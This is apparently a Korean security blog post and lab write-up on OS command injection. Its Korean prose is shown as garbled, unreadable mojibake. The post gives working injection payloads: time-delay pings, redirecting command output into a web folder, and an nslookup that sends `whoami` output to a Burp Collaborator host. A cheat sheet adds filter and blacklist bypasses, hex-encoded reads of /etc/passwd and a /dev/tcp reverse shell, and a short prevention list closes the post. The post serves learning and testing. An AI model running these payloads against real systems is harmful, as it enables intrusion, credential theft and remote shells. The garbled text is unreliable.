๐ What is OS command injection?
OS command injection์ ๊ณต๊ฒฉ์๊ฐ ์์ฉ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ์๋ฒ์์ ์์์ ์ด์์ฒด์ฌ(OS) ๋ช ๋ น์ ์คํํ ์ ์๊ฒํ๋ ์น ์ทจ์ฝ์ ์ผ๋ก ์ผ๋ฐ์ ์ผ๋ก ์์ฉ ํ๋ก๊ทธ๋จ๊ณผ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ ์์ ํ ์์ ์ํฌ ์ ์์ต๋๋ค. ์ข ์ข ๊ณต๊ฒฉ์๋ OS Command injection์ ํ์ฉํ์ฌ ํธ์คํ ์ธํ๋ผ์ ๋ค๋ฅธ ๋ถ๋ถ์ ์์์ํค๊ณ ์ ๋ขฐ ๊ด๊ณ๋ฅผ ์ ์ฉํ์ฌ ์กฐ์ง๋ด์ ๋ค๋ฅธ ์์คํ ์ผ๋ก ๊ณต๊ฒฉ์ผ๋ก pivot ํ ์ ์์ต๋๋ค.
LAB
Blind OS command injection with ์๊ฐ ๋๋ ์ด
OS ์ปค๋งจ๋ ์ธ์ ์
์ ์ฃผ๋ก ๋ธ๋ผ์ธ๋ ์ทจ์ฝ์ ์
๋๋ค.
์ฆ HTTP์ ์๋ต๊ฐ์์ ๋ช
๋ น์ ์ถ๋ ฅ์ ๋ฐํํ์ง ์์ง๋ง ๋ช
๋ น์ด๊ฐ ์
๋ ฅ๋ ์ ์์ด Response time์ ๋ณด๊ณ ์ฒดํฌํ๋ฉด ์ค์ ๋ช
๋ น์ด ์ํ๋์๋์ง ํ์ธ ํ ์ ์์ต๋๋ค.
์ฌ์ฉ์๊ฐ ์ฌ์ดํธ์ ๋ํ ํผ๋๋ฐฑ์ ์ ์ถํ ์ ์๋ ์น ์ฌ์ดํธ๋ฅผ ํ์ธ.
์๊ฐ์ง์ฐ์ ์ฌ์ฉํ๋ ping ๋ช ๋ น์ด ์ฌ์ฉ
||ping -c 10 127.0.0.1||
์ด๋ฉ์ผ ์ฃผ์ ํ๋ผ๋ฏธํฐ ์
๋ ฅ๊ฐ์ ํ์ด๋ก๋ ์
๋ ฅ
HTTP ์๋ต๊ฐ์ด 10์ด๋ค์ ๋ฐ์ํ์ฌ os command injection์ ์ทจ์ฝํ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
Blind OS command injection with ์ ์ถ๋ ฅ ์ฌ์ง์
๋ช ๋ น์ ์ถ๋ ฅ์ ์๋ต๊ฐ์ผ๋ก ๋ฐํ๋์ง ์์ง๋ง ์ถ๋ ฅ ๋ฆฌ๋ค์ด๋ ์ ์ ํตํด ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋๊ฐ ์๋ค๋ฉด ๋ช ๋ น์ ์ถ๋ ฅ์ ์บก์ณํ ์ ์์ต๋๋ค.
/var/www/imgaes/ ๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋๋ผ๊ณ ํด๋ณด๊ฒ ์ต๋๋ค.
์ฑ์ ์ด ์์น์์ filename ํ๋ผ๋ฏธํฐ๋ก ์ ํ ์นดํ๋ก๊ทธ์ ๋ํ ์ด๋ฏธ์ง๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ฃผ์
๋ ๋ช
๋ น์ ์ถ๋ ฅ์ ์ด ํด๋์ ํ์ผ๋ก ๋ฆฌ๋ค์ด๋ ์
ํ ๋ค์ filename ํ๋ผ๋ฏธํฐ URL์ ์ฌ์ฉํ์ฌ ํ์ผ์ ๋ด์ฉ์ ๊ฒ์ํ ์ ์์ต๋๋ค.
|| whoami > /var/www/images/output.txt ||
ํผ๋๋ฐฑ์ด ์ ์์ ์ผ๋ก ์
๋ ฅ๋จ
์ํ์ ํด๋ฆญํ์ฌ ์์ฒญ๋๋ ํ๋ผ๋ฏธํฐ filename์ ์์ฑํ์๋ output.txt๋ก ๋ณ๊ฒฝ
output.txt๋ก ํ์ผ๋ช
๋ณ๊ฒฝ
์๋ต๊ฐ ๊ฒฐ๊ณผ๋ก whoami ์ ๋ช ๋ น ์ ๋ ฅ๊ฐ์ด ์ถ๋ ฅ๋๋๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
Blind OS command injection with OOB
ํด๋น ์ทจ์ฝ์ ์์๋ Burp์ collaborator ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์ทจ์ฝ์ ์ ๋๋ค.
https://portswigger.net/burp/documentation/collaborator
burp์ collaborator ๋ฅผ ์ด์ฉํ์ฌ URL ์์ฑ, copy to clipboard ํด๋ฆญ์ URL ๋ณต์ฌ ๊ฐ๋ฅ
๋ฉ์ผ ํ๋ผ๋ฏธํฐ์ whoami ๋ช ๋ น์ด์ ํ์ด๋ก๋๋ฅผ ์ ๋ ฅ
|| nslookup+`whoami`.jobolcvuvj39tty0zrncfkzlpcv4jt.burpcollaborator.net ||
poll now ํด๋ฆญ ๋๋ ์ ์ ๊ธฐ๋ค๋ฆฌ๋ฉด ์์ฑ๋๋ ๊ฒฐ๊ณผ๊ฐ์์ whoami ๋ช
๋ น์ด ์คํ๋๊ฒ์ ํ์ธ๊ฐ๋ฅ ํฉ๋๋ค.
collaborator ๋ฅผ ์ฌ์ฉํ์ง ์์ผ๋ฉด ํด๋น ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํด๋ ๊ฒฐ๊ณผ๊ฐ์ ๋ฐ์ ๋ณผ ์ ์์ง๋ง ํด๋น ๊ธฐ๋ฅ์ ์ฌ์ฉํจ์ผ๋ก์จ ๊ฒฐ๊ณผ๊ฐ์ ํ์ธ ๊ฐ๋ฅ ํฉ๋๋ค
๐ฅ Cheat sheet
-
Chaining commands
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls # Only if the first cmd fail
-
Bypass without space (Linux)
//Works on Linux only
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
//Commands execution without spaces, $ or { } - Linux (Bash only)
IFS=,;`cat<<<uname,-a`
-
Bypass without space (Windows)
//Works on Windows only
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
-
Bypass with a line return
something%0Acat%20/etc/passwd
-
Bypass characters filter via hex encoding (Linux)
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
-
Bypass characters filter
//Commands execution without backslash and slash - linux bash
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
-
Bypass Blacklisted words
//Bypass with single quote
w'h'o'am'i
//Bypass with double quote
w"h"o"am"i
//Bypass with backslash and slash
w\ho\am\i
/\b\i\n/////s\h
//Bypass with $@
who$@ami
echo $0
-> /usr/bin/zsh
echo whoami|$0
//Bypass with variable expansion
/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
//Bypass with wildcards
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
๐ How to Prevent ?
- ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ด์์ฒด์ ๋ก๋ถํฐ ์ด๋ค ๋ช ๋ น์ด๋ฅผ ์ง์ ์ ์ผ๋ก ํธ์ถํ์ง ๋ชปํ๋๋ก ์ฐจ๋จ ํ์
- ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๋ฐ์ดํฐ๊ฐ ์ด์์ฒด์ ๋ช ๋ น์ด ํด์๊ธฐ์ ์ ๋ฌ๋๋ ๋ถ๋ถ์ด ์๋ ๊ฒฝ์ฐ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก ์ ํ ํ์
- ์ ๋ ฅ๊ฐ์ ๋ํ ํ๋ผ๋ฏธํฐ ๋ฐ์ดํฐ์ ํน์๋ฌธ์ ํํฐ๋ง ์ฒ๋ฆฌ
- ๊ฐ๋ฐ ์ ์ด์์ฒด์ ๋ช ๋ น์ด ์ฌ์ฉ ๊ฐ๋ฅํ ํจ์๋ฅผ ์ฌ์ฉํ์ง ์์์ผ ํ๋ฉฐ, ๊ผญ ํ์ํ ๊ฒฝ์ฐ ํ์ดํธ ๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก ๋ช ๋ น์ด ์ ๋ ฅ์ ๋ํ ๊ฒ์ฆ ๋ก์ง์ด ํ์
์ธ์ด | ํจ์ |
---|---|
asp | eval(), execute() ๋ฑ |
php | exec(), system(), passthru(), eval() ๋ฑ |
java | system.*(system.Runtime) ๋ฑ |